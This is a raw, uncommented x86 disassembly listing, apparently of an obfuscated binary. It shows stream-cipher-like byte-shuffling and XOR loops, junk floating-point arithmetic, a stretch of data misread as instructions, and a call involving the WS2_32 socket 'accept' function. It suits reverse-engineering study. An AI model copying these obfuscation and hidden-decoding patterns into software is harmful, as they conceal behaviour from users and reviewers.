mov dword [ebp - 0x4128], eax
mov dword [ebp - 0x412c], 0
mov ecx, dword [ebp - 0x34ac]
shl ecx, 1
mov dword [ebp - 0x412c], ecx
mov dword [ebp - 0x400c], 0
mov edx, dword [ebp - 0x4130]
add edx, dword [ebp - 0x412c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x400c]
mov dword [ebp - 0x400c], eax
mov dword [ebp - 0x3fcc], 0
mov ecx, dword [ebp - 0x3fcc]
add ecx, 0x6f
mov dword [ebp - 0x3fcc], ecx
mov dword [ebp - 0x4134], 0
mov edx, dword [ebp - 0x34ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4134], eax
mov dword [ebp - 0x3fc8], 0
mov ecx, dword [ebp - 0x4130]
add ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3fc8]
mov dword [ebp - 0x3fc8], edx
mov dword [ebp - 0x3fc4], 0
mov eax, dword [ebp - 0x3fc4]
add eax, 8
mov dword [ebp - 0x3fc4], eax
mov dword [ebp - 0x3fc0], 0
mov ecx, dword [ebp - 0x400c]
sub ecx, dword [ebp - 0x3fcc]
add ecx, dword [ebp - 0x3fc0]
mov dword [ebp - 0x3fc0], ecx
mov dword [ebp - 0x3fbc], 0
mov edx, dword [ebp - 0x3fc8]
sub edx, dword [ebp - 0x3fc4]
add edx, dword [ebp - 0x3fbc]
mov dword [ebp - 0x3fbc], edx
mov dword [ebp - 0x4138], 0
mov eax, dword [ebp - 0x3fc0]
shl eax, 4
mov dword [ebp - 0x4138], eax
mov dword [ebp - 0x413c], 0
mov ecx, dword [ebp - 0x3fbc]
mov dword [ebp - 0x413c], ecx
mov dword [ebp - 0x4140], 0
mov edx, dword [ebp - 0x4138]
or edx, dword [ebp - 0x413c]
mov dword [ebp - 0x4140], edx
mov byte [ebp - 0x332d], 0
mov al, byte [ebp - 0x4140]
mov byte [ebp - 0x332d], al
mov byte [ebp - 0x333a], 0
movzx ecx, byte [ebp - 0x3309]
mov dl, byte [ebp + ecx - 0x68a4]
mov byte [ebp - 0x333a], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx edx, byte [ebp - 0x32e2]
add edx, ecx
mov byte [ebp - 0x32e2], dl
mov al, byte [ebp - 0x32ba]
add al, 1
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x32e2]
movzx edx, byte [ebp - 0x3309]
mov al, byte [ebp + ecx - 0x68a4]
mov byte [ebp + edx - 0x68a4], al
movzx ecx, byte [ebp - 0x32e3]
movzx edx, byte [ebp - 0x32e2]
mov al, byte [ebp + ecx - 0x68a4]
mov byte [ebp + edx - 0x68a4], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp - 0x32e3]
mov al, byte [ebp + ecx - 0x68a4]
mov byte [ebp + edx - 0x68a4], al
movzx ecx, byte [ebp - 0x32ba]
mov dl, byte [ebp - 0x333a]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x333a]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx edx, byte [ebp - 0x333b]
add edx, ecx
mov byte [ebp - 0x333b], dl
movzx eax, byte [ebp - 0x332d]
movzx ecx, byte [ebp - 0x32e2]
movzx edx, byte [ebp + ecx - 0x68a4]
movzx ecx, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + ecx - 0x68a4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68a4]
xor eax, edx
movzx ecx, byte [ebp - 0x32e3]
movzx edx, byte [ebp + ecx - 0x68a4]
movzx ecx, byte [ebp - 0x3309]
movzx ecx, byte [ebp + ecx - 0x68a4]
add edx, ecx
movzx ecx, byte [ebp - 0x333b]
movzx ecx, byte [ebp + ecx - 0x68a4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68a4]
movzx ecx, byte [ebp + edx - 0x68a4]
xor eax, ecx
mov byte [ebp - 0x32e3], al
mov dl, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], dl
mov al, byte [ebp - 0x32e3]
mov byte [ebp - 0x33c9], al
cmp dword [ebp - 0x34ac], 0
jle 0x42cce6
movsx cx, byte [ebp - 0x33c9]
mov edx, dword [ebp - 0x34ac]
mov word [ebp + edx*2 - 0x12], cx
mov eax, dword [ebp - 0x34ac]
add eax, 1
mov dword [ebp - 0x34ac], eax
mov ecx, dword [ebp - 0x4128]
add ecx, 1
mov dword [ebp - 0x4128], ecx
mov edx, dword [ebp - 0x34ac]
shl edx, 1
mov dword [ebp - 0x412c], edx
mov eax, dword [ebp - 0x4130]
add eax, dword [ebp - 0x412c]
movzx ecx, byte [eax]
mov dword [ebp - 0x400c], ecx
mov dword [ebp - 0x3fcc], 0x6f
mov edx, dword [ebp - 0x34ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4134], eax
mov ecx, dword [ebp - 0x4130]
add ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
mov dword [ebp - 0x3fc8], edx
mov dword [ebp - 0x3fc4], 8
mov eax, dword [ebp - 0x400c]
sub eax, dword [ebp - 0x3fcc]
mov dword [ebp - 0x3fc0], eax
mov ecx, dword [ebp - 0x3fc8]
sub ecx, dword [ebp - 0x3fc4]
mov dword [ebp - 0x3fbc], ecx
mov edx, dword [ebp - 0x3fc0]
shl edx, 4
mov dword [ebp - 0x4138], edx
mov eax, dword [ebp - 0x3fbc]
mov dword [ebp - 0x413c], eax
mov ecx, dword [ebp - 0x4138]
or ecx, dword [ebp - 0x413c]
mov dword [ebp - 0x4140], ecx
mov dl, byte [ebp - 0x4140]
mov byte [ebp - 0x332d], dl
movzx eax, byte [ebp - 0x3309]
mov cl, byte [ebp + eax - 0x68a4]
mov byte [ebp - 0x333a], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp + edx - 0x68a4]
movzx ecx, byte [ebp - 0x32e2]
add ecx, eax
mov byte [ebp - 0x32e2], cl
mov dl, byte [ebp - 0x32ba]
add dl, 1
mov byte [ebp - 0x32ba], dl
movzx eax, byte [ebp - 0x32e2]
movzx ecx, byte [ebp - 0x3309]
mov dl, byte [ebp + eax - 0x68a4]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x32e3]
movzx ecx, byte [ebp - 0x32e2]
mov dl, byte [ebp + eax - 0x68a4]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp - 0x32e3]
mov dl, byte [ebp + eax - 0x68a4]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x32ba]
mov cl, byte [ebp - 0x333a]
mov byte [ebp + eax - 0x68a4], cl
movzx edx, byte [ebp - 0x333a]
movzx eax, byte [ebp + edx - 0x68a4]
movzx ecx, byte [ebp - 0x333b]
add ecx, eax
mov byte [ebp - 0x333b], cl
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp - 0x32e2]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx eax, byte [ebp - 0x32ba]
movzx eax, byte [ebp + eax - 0x68a4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x68a4]
xor edx, ecx
movzx eax, byte [ebp - 0x32e3]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx eax, byte [ebp - 0x3309]
movzx eax, byte [ebp + eax - 0x68a4]
add ecx, eax
movzx eax, byte [ebp - 0x333b]
movzx eax, byte [ebp + eax - 0x68a4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x68a4]
movzx eax, byte [ebp + ecx - 0x68a4]
xor edx, eax
mov byte [ebp - 0x32e3], dl
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], cl
mov dl, byte [ebp - 0x32e3]
mov byte [ebp - 0x33c9], dl
cmp dword [ebp - 0x34ac], 0
jle 0x42cf3e
movsx ax, byte [ebp - 0x33c9]
mov ecx, dword [ebp - 0x34ac]
mov word [ebp + ecx*2 - 0x12], ax
mov edx, dword [ebp - 0x34ac]
add edx, 1
mov dword [ebp - 0x34ac], edx
mov eax, dword [ebp - 0x4128]
add eax, 1
mov dword [ebp - 0x4128], eax
mov ecx, dword [ebp - 0x34ac]
shl ecx, 1
mov dword [ebp - 0x412c], ecx
mov edx, dword [ebp - 0x4130]
add edx, dword [ebp - 0x412c]
movzx eax, byte [edx]
mov dword [ebp - 0x400c], eax
mov dword [ebp - 0x3fcc], 0x6f
mov ecx, dword [ebp - 0x34ac]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4134], edx
mov eax, dword [ebp - 0x4130]
add eax, dword [ebp - 0x4134]
movzx ecx, byte [eax]
mov dword [ebp - 0x3fc8], ecx
mov dword [ebp - 0x3fc4], 8
mov edx, dword [ebp - 0x400c]
sub edx, dword [ebp - 0x3fcc]
mov dword [ebp - 0x3fc0], edx
mov eax, dword [ebp - 0x3fc8]
sub eax, dword [ebp - 0x3fc4]
mov dword [ebp - 0x3fbc], eax
mov ecx, dword [ebp - 0x3fc0]
shl ecx, 4
mov dword [ebp - 0x4138], ecx
mov edx, dword [ebp - 0x3fbc]
mov dword [ebp - 0x413c], edx
mov eax, dword [ebp - 0x4138]
or eax, dword [ebp - 0x413c]
mov dword [ebp - 0x4140], eax
mov cl, byte [ebp - 0x4140]
mov byte [ebp - 0x332d], cl
movzx edx, byte [ebp - 0x3309]
mov al, byte [ebp + edx - 0x68a4]
mov byte [ebp - 0x333a], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x68a4]
movzx eax, byte [ebp - 0x32e2]
add eax, edx
mov byte [ebp - 0x32e2], al
mov cl, byte [ebp - 0x32ba]
add cl, 1
mov byte [ebp - 0x32ba], cl
movzx edx, byte [ebp - 0x32e2]
movzx eax, byte [ebp - 0x3309]
mov cl, byte [ebp + edx - 0x68a4]
mov byte [ebp + eax - 0x68a4], cl
movzx edx, byte [ebp - 0x32e3]
movzx eax, byte [ebp - 0x32e2]
mov cl, byte [ebp + edx - 0x68a4]
mov byte [ebp + eax - 0x68a4], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp - 0x32e3]
mov cl, byte [ebp + edx - 0x68a4]
mov byte [ebp + eax - 0x68a4], cl
movzx edx, byte [ebp - 0x32ba]
mov al, byte [ebp - 0x333a]
mov byte [ebp + edx - 0x68a4], al
movzx ecx, byte [ebp - 0x333a]
movzx edx, byte [ebp + ecx - 0x68a4]
movzx eax, byte [ebp - 0x333b]
add eax, edx
mov byte [ebp - 0x333b], al
movzx ecx, byte [ebp - 0x332d]
movzx edx, byte [ebp - 0x32e2]
movzx eax, byte [ebp + edx - 0x68a4]
movzx edx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + edx - 0x68a4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x68a4]
xor ecx, eax
movzx edx, byte [ebp - 0x32e3]
movzx eax, byte [ebp + edx - 0x68a4]
movzx edx, byte [ebp - 0x3309]
movzx edx, byte [ebp + edx - 0x68a4]
add eax, edx
movzx edx, byte [ebp - 0x333b]
movzx edx, byte [ebp + edx - 0x68a4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x68a4]
movzx edx, byte [ebp + eax - 0x68a4]
xor ecx, edx
mov byte [ebp - 0x32e3], cl
mov al, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], al
mov cl, byte [ebp - 0x32e3]
mov byte [ebp - 0x33c9], cl
cmp dword [ebp - 0x34ac], 0
jle 0x42d194
movsx dx, byte [ebp - 0x33c9]
mov eax, dword [ebp - 0x34ac]
mov word [ebp + eax*2 - 0x12], dx
mov ecx, dword [ebp - 0x34ac]
add ecx, 1
mov dword [ebp - 0x34ac], ecx
mov edx, dword [ebp - 0x4128]
add edx, 1
mov dword [ebp - 0x4128], edx
mov eax, dword [ebp - 0x34ac]
shl eax, 1
mov dword [ebp - 0x412c], eax
mov ecx, dword [ebp - 0x4130]
add ecx, dword [ebp - 0x412c]
movzx edx, byte [ecx]
mov dword [ebp - 0x400c], edx
mov dword [ebp - 0x3fcc], 0x6f
mov eax, dword [ebp - 0x34ac]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4134], ecx
mov edx, dword [ebp - 0x4130]
add edx, dword [ebp - 0x4134]
movzx eax, byte [edx]
mov dword [ebp - 0x3fc8], eax
mov dword [ebp - 0x3fc4], 8
mov ecx, dword [ebp - 0x400c]
sub ecx, dword [ebp - 0x3fcc]
mov dword [ebp - 0x3fc0], ecx
mov edx, dword [ebp - 0x3fc8]
sub edx, dword [ebp - 0x3fc4]
mov dword [ebp - 0x3fbc], edx
mov eax, dword [ebp - 0x3fc0]
shl eax, 4
mov dword [ebp - 0x4138], eax
mov ecx, dword [ebp - 0x3fbc]
mov dword [ebp - 0x413c], ecx
mov edx, dword [ebp - 0x4138]
or edx, dword [ebp - 0x413c]
mov dword [ebp - 0x4140], edx
movsd xmm0, qword [0xa66d98]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [0xa66b60]
movsd qword [ebp - 0x4440], xmm0
movsd xmm0, qword [0xa668c8]
movsd qword [ebp - 0x40a4], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
addsd xmm0, qword [ebp - 0x40a4]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
addsd xmm0, qword [ebp - 0x40a4]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
subsd xmm0, qword [ebp - 0x40a4]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
comisd xmm0, xmmword [ebp - 0x40a4]
jbe 0x42d342
movsd xmm0, qword [ebp - 0x3fe0]
addsd xmm0, qword [ebp - 0x4440]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
subsd xmm0, qword [ebp - 0x4440]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x4440]
subsd xmm0, qword [ebp - 0x40a4]
movsd qword [ebp - 0x4440], xmm0
mov al, byte [ebp - 0x4140]
mov byte [ebp - 0x332d], al
jmp 0x42d476
movsd xmm0, qword [ebp - 0x40a4]
divsd xmm0, qword [ebp - 0x3fe0]
movsd qword [ebp - 0x40a4], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
subsd xmm0, qword [ebp - 0x4440]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x40a4]
divsd xmm0, qword [ebp - 0x3fe0]
movsd qword [ebp - 0x40a4], xmm0
movsd xmm0, qword [ebp - 0x40a4]
addsd xmm0, qword [ebp - 0x4440]
movsd qword [ebp - 0x40a4], xmm0
movsd xmm0, qword [ebp - 0x40a4]
addsd xmm0, qword [ebp - 0x4440]
movsd qword [ebp - 0x40a4], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
mulsd xmm0, qword [ebp - 0x40a4]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x40a4]
comisd xmm0, xmmword [ebp - 0x4440]
jbe 0x42d42e
movsd xmm0, qword [ebp - 0x40a4]
mulsd xmm0, qword [ebp - 0x3fe0]
movsd qword [ebp - 0x40a4], xmm0
movsd xmm0, qword [ebp - 0x3fe0]
divsd xmm0, qword [ebp - 0x4440]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x4440]
addsd xmm0, qword [ebp - 0x40a4]
movsd qword [ebp - 0x4440], xmm0
jmp 0x42d476
movsd xmm0, qword [ebp - 0x3fe0]
mulsd xmm0, qword [ebp - 0x40a4]
movsd qword [ebp - 0x3fe0], xmm0
movsd xmm0, qword [ebp - 0x4440]
divsd xmm0, qword [ebp - 0x3fe0]
movsd qword [ebp - 0x4440], xmm0
movsd xmm0, qword [ebp - 0x40a4]
mulsd xmm0, qword [ebp - 0x4440]
movsd qword [ebp - 0x40a4], xmm0
movzx ecx, byte [ebp - 0x3309]
mov dl, byte [ebp + ecx - 0x68a4]
mov byte [ebp - 0x333a], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx edx, byte [ebp - 0x32e2]
add edx, ecx
mov byte [ebp - 0x32e2], dl
mov al, byte [ebp - 0x32ba]
add al, 1
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x32e2]
movzx edx, byte [ebp - 0x3309]
mov al, byte [ebp + ecx - 0x68a4]
mov byte [ebp + edx - 0x68a4], al
movzx ecx, byte [ebp - 0x32e3]
movzx edx, byte [ebp - 0x32e2]
mov al, byte [ebp + ecx - 0x68a4]
mov byte [ebp + edx - 0x68a4], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp - 0x32e3]
mov al, byte [ebp + ecx - 0x68a4]
mov byte [ebp + edx - 0x68a4], al
movzx ecx, byte [ebp - 0x32ba]
mov dl, byte [ebp - 0x333a]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x333a]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx edx, byte [ebp - 0x333b]
add edx, ecx
mov byte [ebp - 0x333b], dl
movzx eax, byte [ebp - 0x332d]
movzx ecx, byte [ebp - 0x32e2]
movzx edx, byte [ebp + ecx - 0x68a4]
movzx ecx, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + ecx - 0x68a4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68a4]
xor eax, edx
movzx ecx, byte [ebp - 0x32e3]
movzx edx, byte [ebp + ecx - 0x68a4]
movzx ecx, byte [ebp - 0x3309]
movzx ecx, byte [ebp + ecx - 0x68a4]
add edx, ecx
movzx ecx, byte [ebp - 0x333b]
movzx ecx, byte [ebp + ecx - 0x68a4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68a4]
movzx ecx, byte [ebp + edx - 0x68a4]
xor eax, ecx
mov byte [ebp - 0x32e3], al
mov dl, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], dl
mov al, byte [ebp - 0x32e3]
mov byte [ebp - 0x33c9], al
cmp dword [ebp - 0x34ac], 0
jle 0x42d5f6
movsx cx, byte [ebp - 0x33c9]
mov edx, dword [ebp - 0x34ac]
mov word [ebp + edx*2 - 0x12], cx
mov eax, dword [ebp - 0x34ac]
add eax, 1
mov dword [ebp - 0x34ac], eax
mov ecx, dword [ebp - 0x4128]
add ecx, 1
mov dword [ebp - 0x4128], ecx
mov edx, dword [ebp - 0x34ac]
shl edx, 1
mov dword [ebp - 0x412c], edx
mov eax, dword [ebp - 0x4130]
add eax, dword [ebp - 0x412c]
movzx ecx, byte [eax]
mov dword [ebp - 0x400c], ecx
mov dword [ebp - 0x3fcc], 0x6f
mov edx, dword [ebp - 0x34ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4134], eax
mov ecx, dword [ebp - 0x4130]
add ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
mov dword [ebp - 0x3fc8], edx
mov dword [ebp - 0x3fc4], 8
mov eax, dword [ebp - 0x400c]
sub eax, dword [ebp - 0x3fcc]
mov dword [ebp - 0x3fc0], eax
mov ecx, dword [ebp - 0x3fc8]
sub ecx, dword [ebp - 0x3fc4]
mov dword [ebp - 0x3fbc], ecx
mov edx, dword [ebp - 0x3fc0]
shl edx, 4
mov dword [ebp - 0x4138], edx
mov eax, dword [ebp - 0x3fbc]
mov dword [ebp - 0x413c], eax
mov ecx, dword [ebp - 0x4138]
or ecx, dword [ebp - 0x413c]
mov dword [ebp - 0x4140], ecx
mov dl, byte [ebp - 0x4140]
mov byte [ebp - 0x332d], dl
movzx eax, byte [ebp - 0x3309]
mov cl, byte [ebp + eax - 0x68a4]
mov byte [ebp - 0x333a], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp + edx - 0x68a4]
movzx ecx, byte [ebp - 0x32e2]
add ecx, eax
mov byte [ebp - 0x32e2], cl
mov dl, byte [ebp - 0x32ba]
add dl, 1
mov byte [ebp - 0x32ba], dl
movzx eax, byte [ebp - 0x32e2]
movzx ecx, byte [ebp - 0x3309]
mov dl, byte [ebp + eax - 0x68a4]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x32e3]
movzx ecx, byte [ebp - 0x32e2]
mov dl, byte [ebp + eax - 0x68a4]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp - 0x32e3]
mov dl, byte [ebp + eax - 0x68a4]
mov byte [ebp + ecx - 0x68a4], dl
movzx eax, byte [ebp - 0x32ba]
mov cl, byte [ebp - 0x333a]
mov byte [ebp + eax - 0x68a4], cl
movzx edx, byte [ebp - 0x333a]
movzx eax, byte [ebp + edx - 0x68a4]
movzx ecx, byte [ebp - 0x333b]
add ecx, eax
mov byte [ebp - 0x333b], cl
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp - 0x32e2]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx eax, byte [ebp - 0x32ba]
movzx eax, byte [ebp + eax - 0x68a4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x68a4]
xor edx, ecx
movzx eax, byte [ebp - 0x32e3]
movzx ecx, byte [ebp + eax - 0x68a4]
movzx eax, byte [ebp - 0x3309]
movzx eax, byte [ebp + eax - 0x68a4]
add ecx, eax
movzx eax, byte [ebp - 0x333b]
movzx eax, byte [ebp + eax - 0x68a4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x68a4]
movzx eax, byte [ebp + ecx - 0x68a4]
xor edx, eax
mov byte [ebp - 0x32e3], dl
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], cl
mov dl, byte [ebp - 0x32e3]
mov byte [ebp - 0x33c9], dl
cmp dword [ebp - 0x34ac], 0
jle 0x42d84e
movsx ax, byte [ebp - 0x33c9]
mov ecx, dword [ebp - 0x34ac]
mov word [ebp + ecx*2 - 0x12], ax
mov edx, 2
shl edx, 2
mov dword [ebp - 0x5408], edx
cmp dword [ebp - 0x5408], 0xa
jae 0x42d867
jmp 0x42d86c
call fcn.009ea777
xor eax, eax
mov ecx, dword [ebp - 0x5408]
mov word [ebp + ecx - 0x10], ax
jmp 0x42d8cc
mov dword [ebp - 0x4980], 0
jmp 0x42d896
mov edx, dword [ebp - 0x4980]
add edx, 1
mov dword [ebp - 0x4980], edx
cmp dword [ebp - 0x4980], 5
jge 0x42d8cc
mov eax, dword [ebp - 0x4980]
shl eax, 1
mov dword [ebp - 0x5404], eax
cmp dword [ebp - 0x5404], 0xa
jae 0x42d8b8
jmp 0x42d8bd
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x5404]
mov word [ebp + edx - 0x10], cx
jmp 0x42d887
push 1
mov eax, dword [ebp - 0x474c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x10c]
push eax
push reloc.WS2_32.dll_accept
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x325c], 0
mov dword [ebp - 0x317c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x477c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4618], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4618], xmm0
jmp 0x42d940
movsd xmm0, qword [ebp - 0x4618]
addsd xmm0, qword [0xa66358]
movsd qword [ebp - 0x4618], xmm0
movsd xmm0, qword [0xa66818]
comisd xmm0, xmmword [ebp - 0x4618]
jbe 0x42d9f1
movsd xmm0, qword [0xa666b8]
mulsd xmm0, qword [ebp - 0x4618]
mulsd xmm0, qword [ebp - 0x4618]
movsd xmm1, qword [ebp - 0x4618]
mulsd xmm1, qword [ebp - 0x4618]
subsd xmm0, xmm1
movsd xmm1, qword [0xa663b8]
mulsd xmm1, qword [ebp - 0x4618]
mulsd xmm1, qword [ebp - 0x4618]
addsd xmm1, qword [0xa66450]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x477c]
movsd qword [ebp - 0x477c], xmm0
movsd xmm0, qword [ebp - 0x477c]
comisd xmm0, xmmword [0xa665d0]
jbe 0x42d9ec
movsd xmm0, qword [0xa662b0]
mulsd xmm0, qword [ebp - 0x4618]
movsd xmm1, qword [ebp - 0x477c]
subsd xmm1, xmm0
movsd qword [ebp - 0x477c], xmm1
jmp 0x42d928
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x477c]
jbe 0x42da2d
in al, 0x74
fisubr word [esi - 0x1c]
outsd dx, dword [esi]
loopne 0x42da6c
out 0x75, eax
fnsave dword [ebx - 0x1c]
dec di
xor dword [esp + edi*2 + 0x62], ebx
inc ecx
xor eax, 0x356b2374
pop esp
jle 0x42da4a
jno 0x42da8e
imul ebx, dword [edi + 0x7b], 0x7a
push ebp
pop esp
and al, 0x48
dec eax
jmp 0x430ba5
mov dword [ebp - 0x325c], 0x42d9fe
mov dword [ebp - 0x317c], 0x42da0c
mov ecx, dword [ebp - 0x325c]
mov dword [ebp - 0x3c10], ecx
mov edx, dword [ebp - 0x317c]
mov dword [ebp - 0x679c], edx
mov byte [ebp - 0x402b], 0x20
mov dword [ebp - 0x384c], 0
jmp 0x42da7b
ret
mov eax, dword [ebp - 0x384c]
add eax, 1
mov dword [ebp - 0x384c], eax
cmp dword [ebp - 0x384c], 0x100
jae 0x42da9c
mov ecx, dword [ebp - 0x384c]
mov dl, byte [ebp - 0x384c]
mov byte [ebp + ecx - 0x5fb0], dl
jmp 0x42da6c
xchg ebp, eax
mov ah, 0xc7
invalid
mov dword [ebp - 0x453c], 0
mov byte [ebp - 0x3367], 0
mov dword [ebp - 0x384c], 0xff
jmp 0x42dac8
mov eax, dword [ebp - 0x384c]
sub eax, 1
mov dword [ebp - 0x384c], eax
cmp dword [ebp - 0x384c], 0
jbe 0x42dd38
mov dword [ebp - 0x4bd0], 0
mov dword [ebp - 0x4984], 1
mov ecx, dword [ebp - 0x4984]
cmp ecx, dword [ebp - 0x384c]
jae 0x42db09
mov edx, dword [ebp - 0x4984]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4984], eax
jmp 0x42dae9
mov ecx, dword [ebp - 0x453c]
mov dword [ebp - 0x5400], ecx
cmp dword [ebp - 0x5400], 3
ja case.default.0x42db28
mov edx, dword [ebp - 0x5400]
jmp dword [edx*4 + 0x46cdb4]
movzx eax, byte [ebp - 0x3367]
movzx ebx, byte [ebp + eax - 0x5fb0]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x42dc11
movzx ecx, byte [ebp - 0x3367]
movzx ebx, byte [ebp + ecx - 0x5fb0]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x42dc11
movzx edx, byte [ebp - 0x3367]
movzx ebx, byte [ebp + edx - 0x5fb0]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x42dc11
movzx eax, byte [ebp - 0x3367]
movzx ebx, byte [ebp + eax - 0x5fb0]
movsd xmm0, qword [ebp - 0x477c]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x42dc11
movzx ecx, byte [ebp - 0x3367]
movzx edx, byte [ebp + ecx - 0x5fb0]
mov eax, dword [ebp - 0x679c]
add eax, dword [ebp - 0x453c]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3367], dl
mov edx, dword [ebp - 0x453c]
add edx, 1
mov dword [ebp - 0x453c], edx
movzx eax, byte [ebp - 0x402b]
cmp dword [ebp - 0x453c], eax
jb 0x42dc4f
mov dword [ebp - 0x453c], 0
movzx ecx, byte [ebp - 0x402b]
movzx edx, byte [ebp - 0x3367]
add edx, ecx
mov byte [ebp - 0x3367], dl
movzx eax, byte [ebp - 0x3367]
and eax, dword [ebp - 0x4984]
mov dword [ebp - 0x428c], eax
mov ecx, dword [ebp - 0x4bd0]
add ecx, 1
mov dword [ebp - 0x4bd0], ecx
cmp dword [ebp - 0x4bd0], 0xb
jbe 0x42dc8e
mov eax, dword [ebp - 0x428c]
xor edx, edx
div dword [ebp - 0x384c]
mov dword [ebp - 0x428c], edx
mov edx, dword [ebp - 0x428c]
cmp edx, dword [ebp - 0x384c]
ja 0x42db09
mov eax, dword [ebp - 0x384c]
cmp eax, dword [ebp - 0x428c]
je 0x42dd33
mov ecx, dword [ebp - 0x428c]
movzx edx, byte [ebp + ecx - 0x5fb0]
mov eax, dword [ebp - 0x384c]
movzx ecx, byte [ebp + eax - 0x5fb0]
xor ecx, edx
mov edx, dword [ebp - 0x384c]
mov byte [ebp + edx - 0x5fb0], cl
mov eax, dword [ebp - 0x384c]
movzx ecx, byte [ebp + eax - 0x5fb0]
mov edx, dword [ebp - 0x428c]
movzx eax, byte [ebp + edx - 0x5fb0]
xor eax, ecx
mov ecx, dword [ebp - 0x428c]
mov byte [ebp + ecx - 0x5fb0], al
mov edx, dword [ebp - 0x428c]
movzx eax, byte [ebp + edx - 0x5fb0]
mov ecx, dword [ebp - 0x384c]
movzx edx, byte [ebp + ecx - 0x5fb0]
xor edx, eax
mov eax, dword [ebp - 0x384c]
mov byte [ebp + eax - 0x5fb0], dl
jmp 0x42dab9
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5fb0]
